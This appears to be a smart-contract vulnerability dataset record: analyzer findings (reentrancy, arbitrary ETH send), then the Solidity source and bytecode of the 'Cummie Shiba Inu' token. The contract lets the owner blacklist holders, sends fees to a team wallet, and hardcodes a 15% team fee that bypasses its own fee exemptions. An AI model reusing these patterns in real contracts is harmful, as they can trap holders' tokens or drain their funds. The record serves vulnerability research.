08152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114ec9190612fc0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611569576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156090612f60565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d090612e40565b60405180910390fd5b6000811161161c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161390612f40565b60405180910390fd5b6004600b819055506006600c819055506000611636610b98565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156116a45750611674610b98565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b0457600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561174d5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61175657600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156118015750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118575750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561186f5750601260179054906101000a900460ff165b156119235760135482111561188357600080fd5b42600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106118ce57600080fd5b601e426118db91906130f6565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190505b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119ce5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a245750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a3e576004600b819055506006600c81905550600190505b6000611a49306109f4565b9050601260159054906101000a900460ff16158015611ab65750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611ace5750601260169054906101000a900460ff165b8015611ada5750600081115b15611b0257611ae881611d93565b60004790506000811115611b0057611aff47611c2a565b5b505b505b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b5b5750815b90508115611bb357601260149054906101000a900460ff16611bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba990612ee0565b60405180910390fd5b5b611bbf858585846120e0565b5050505050565b6000838311158290611c0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c059190612e1e565b60405180910390fd5b5060008385611c1d91906131d7565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c7a60028461209690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ca5573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cf660028461209690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d21573d6000803e3d6000fd5b5050565b6000600954821115611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6390612e60565b60405180910390fd5b6000611d7661210d565b9050611d8b818461209690919063ffffffff16565b915050919050565b6001601260156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcb57611dca6133ac565b5b604051908082528060200260200182016040528015611df95781602001602082028036833780820191505090505b5090503081600081518110611e1157611e1061337d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611eb357600080fd5b505afa158015611ec7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eeb919061288e565b81600181518110611eff57611efe61337d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f6630601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461132e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fca959493929190612fdb565b600060405180830381600087803b158015611fe457600080fd5b505af1158015611ff8573d6000803e3d6000fd5b50505050506000601260156101000a81548160ff02191690831515021790555050565b60008083141561202e5760009050612090565b6000828461203c919061317d565b905082848261204b919061314c565b1461208b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208290612f00565b60405180910390fd5b809150505b92915050565b60006120d883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612138565b905092915050565b806120ee576120ed61219b565b5b6120f98484846121de565b80612107576121066123a9565b5b50505050565b600080600061211a6123bd565b91509150612131818361209690919063ffffffff16565b9250505090565b6000808311829061217f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121769190612e1e565b60405180910390fd5b506000838561218e919061314c565b9050809150509392505050565b6000600b541480156121af57506000600c54145b156121b9576121dc565b600b54600d81905550600c54600e819055506000600b819055506000600c819055505b565b6000806000806000806121f08761241f565b95509550955095509550955061224e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122e385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124d190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232f8161252f565b61233984836125ec565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123969190612fc0565b60405180910390a3505050505050505050565b600d54600b81905550600e54600c81905550565b600080600060095490506000683635c9adc5dea0000090506123f3683635c9adc5dea0000060095461209690919063ffffffff16565b82101561241257600954683635c9adc5dea0000093509350505061241b565b81819350935050505b9091565b600080600080600080600080600061243c8a600b54600c54612626565b925092509250600061244c61210d565b9050600080600061245f8e8787876126bc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124c983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bc6565b905092915050565b60008082846124e091906130f6565b905083811015612525576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251c90612ea0565b60405180910390fd5b8091505092915050565b600061253961210d565b90506000612550828461201b90919063ffffffff16565b90506125a481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124d190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126018260095461248790919063ffffffff16565b60098190555061261c81600a546124d190919063ffffffff16565b600a819055505050565b6000806000806126526064612644888a61201b90919063ffffffff16565b61209690919063ffffffff16565b9050600061267c606461266e888b61201b90919063ffffffff16565b61209690919063ffffffff16565b905060006126a582612697858c61248790919063ffffffff16565b61248790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126d5858961201b90919063ffffffff16565b905060006126ec868961201b90919063ffffffff16565b90506000612703878961201b90919063ffffffff16565b9050600061272c8261271e858761248790919063ffffffff16565b61248790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061275861275384613075565b613050565b9050808382526020820190508285602086028201111561277b5761277a6133e0565b5b60005b858110156127ab578161279188826127b5565b84526020840193506020830192505060018101905061277e565b5050509392505050565b6000813590506127c4816136f6565b92915050565b6000815190506127d9816136f6565b92915050565b600082601f8301126127f4576127f36133db565b5b8135612804848260208601612745565b91505092915050565b60008135905061281c8161370d565b92915050565b6000815190506128318161370d565b92915050565b60008135905061284681613724565b92915050565b60008151905061285b81613724565b92915050565b600060208284031215612877576128766133ea565b5b6000612885848285016127b5565b91505092915050565b6000602082840312156128a4576128a36133ea565b5b60006128b2848285016127ca565b91505092915050565b600080604083850312156128d2576128d16133ea565b5b60006128e0858286016127b5565b92505060206128f1858286016127b5565b9150509250929050565b600080600060608486031215612914576129136133ea565b5b6000612922868287016127b5565b9350506020612933868287016127b5565b925050604061294486828701612837565b9150509250925092565b60008060408385031215612965576129646133ea565b5b6000612973858286016127b5565b925050602061298485828601612837565b9150509250929050565b6000602082840312156129a4576129a36133ea565b5b600082013567ffffffffffffffff8111156129c2576129c16133e5565b5b6129ce848285016127df565b91505092915050565b6000602082840312156129ed576129ec6133ea565b5b60006129fb8482850161280d565b91505092915050565b600060208284031215612a1a57612a196133ea565b5b6000612a2884828501612822565b91505092915050565b600060208284031215612a4757612a466133ea565b5b6000612a5584828501612837565b91505092915050565b600080600060608486031215612a7757612a766133ea565b5b6000612a858682870161284c565b9350506020612a968682870161284c565b9250506040612aa78682870161284c565b9150509250925092565b6000612abd8383612ac9565b60208301905092915050565b612ad28161320b565b82525050565b612ae18161320b565b82525050565b6000612af2826130b1565b612afc81856130d4565b9350612b07836130a1565b8060005b83811015612b38578151612b1f8882612ab1565b9750612b2a836130c7565b925050600181019050612b0b565b5085935050505092915050565b612b4e8161321d565b82525050565b612b5d81613260565b82525050565b6000612b6e826130bc565b612b7881856130e5565b9350612b88818560208601613272565b612b91816133ef565b840191505092915050565b6000612ba96023836130e5565b9150612bb482613400565b604082019050919050565b6000612bcc602a836130e5565b9150612bd78261344f565b604082019050919050565b6000612bef6022836130e5565b9150612bfa8261349e565b604082019050919050565b6000612c12601b836130e5565b9150612c1d826134ed565b602082019050919050565b6000612c35601d836130e5565b9150612c4082613516565b602082019050919050565b6000612c586013836130e5565b9150612c638261353f565b602082019050919050565b6000612c7b6021836130e5565b9150612c8682613568565b604082019050919050565b6000612c9e6020836130e5565b9150612ca9826135b7565b602082019050919050565b6000612cc16029836130e5565b9150612ccc826135e0565b604082019050919050565b6000612ce46025836130e5565b9150612cef8261362f565b604082019050919050565b6000612d076024836130e5565b9150612d128261367e565b604082019050919050565b6000612d2a6017836130e5565b9150612d35826136cd565b602082019050919050565b612d4981613249565b82525050565b612d5881613253565b82525050565b6000602082019050612d736000830184612ad8565b92915050565b6000604082019050612d8e6000830185612ad8565b612d9b6020830184612d40565b9392505050565b600060c082019050612db76000830189612ad8565b612dc46020830188612d40565b612dd16040830187612b54565b612dde6060830186612b54565b612deb6080830185612ad8565b612df860a0830184612d40565b979650505050505050565b6000602082019050612e186000830184612b45565b92915050565b60006020820190508181036000830152612e388184612b63565b905092915050565b60006020820190508181036000830152612e5981612b9c565b9050919050565b60006020820190508181036000830152612e7981612bbf565b9050919050565b60006020820190508181036000830152612e9981612be2565b9050919050565b60006020820190508181036000830152612eb981612c05565b9050919050565b60006020820190508181036000830152612ed981612c28565b9050919050565b60006020820190508181036000830152612ef981612c4b565b9050919050565b60006020820190508181036000830152612f1981612c6e565b9050919050565b60006020820190508181036000830152612f3981612c91565b9050919050565b60006020820190508181036000830152612f5981612cb4565b9050919050565b60006020820190508181036000830152612f7981612cd7565b9050919050565b60006020820190508181036000830152612f9981612cfa565b9050919050565b60006020820190508181036000830152612fb981612d1d565b9050919050565b6000602082019050612fd56000830184612d40565b92915050565b600060a082019050612ff06000830188612d40565b612ffd6020830187612b54565b818103604083015261300f8186612ae7565b905061301e6060830185612ad8565b61302b6080830184612d40565b9695505050505050565b600060208201905061304a6000830184612d4f565b92915050565b600061305a61306b565b905061306682826132a5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130905761308f6133ac565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061310182613249565b915061310c83613249565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131415761314061331f565b5b828201905092915050565b600061315782613249565b915061316283613249565b9250826131725761317161334e565b5b828204905092915050565b600061318882613249565b915061319383613249565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131cc576131cb61331f565b5b828202905092915050565b60006131e282613249565b91506131ed83613249565b925082821015613200576131ff61331f565b5b828203905092915050565b600061321682613229565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061326b82613249565b9050919050565b60005b83811015613290578082015181840152602081019050613275565b8381111561329f576000848401525b50505050565b6132ae826133ef565b810181811067ffffffffffffffff821117156132cd576132cc6133ac565b5b80604052505050565b60006132e182613249565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133145761331361331f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f74726164696e67206973206e6f74206f70656e00000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136ff8161320b565b811461370a57600080fd5b50565b6137168161321d565b811461372157600080fd5b50565b61372d81613249565b811461373857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122024480b025e441ba5562728b7b89f75e220a88c5ed8d1142c577cdd3d2f9e2d3564736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
77
0xfa12091b688b419a9b133772049501999b53824a
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CummieShibaInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Cummie Shiba Inu"; string private constant _symbol = " CumShib"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 15); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dea565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128f1565b61045e565b6040516101789190612dcf565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f8c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061289e565b61048d565b6040516101e09190612dcf565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612804565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613001565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061297a565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612804565b610783565b6040516102b19190612f8c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d01565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dea565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128f1565b61098d565b60405161035b9190612dcf565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612931565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129d4565b6110ab565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061285e565b6111f4565b6040516104189190612f8c565b60405180910390f35b60606040518060400160405280601081526020017f43756d6d696520536869626120496e7500000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161370860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612ecc565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612ecc565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cdd565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff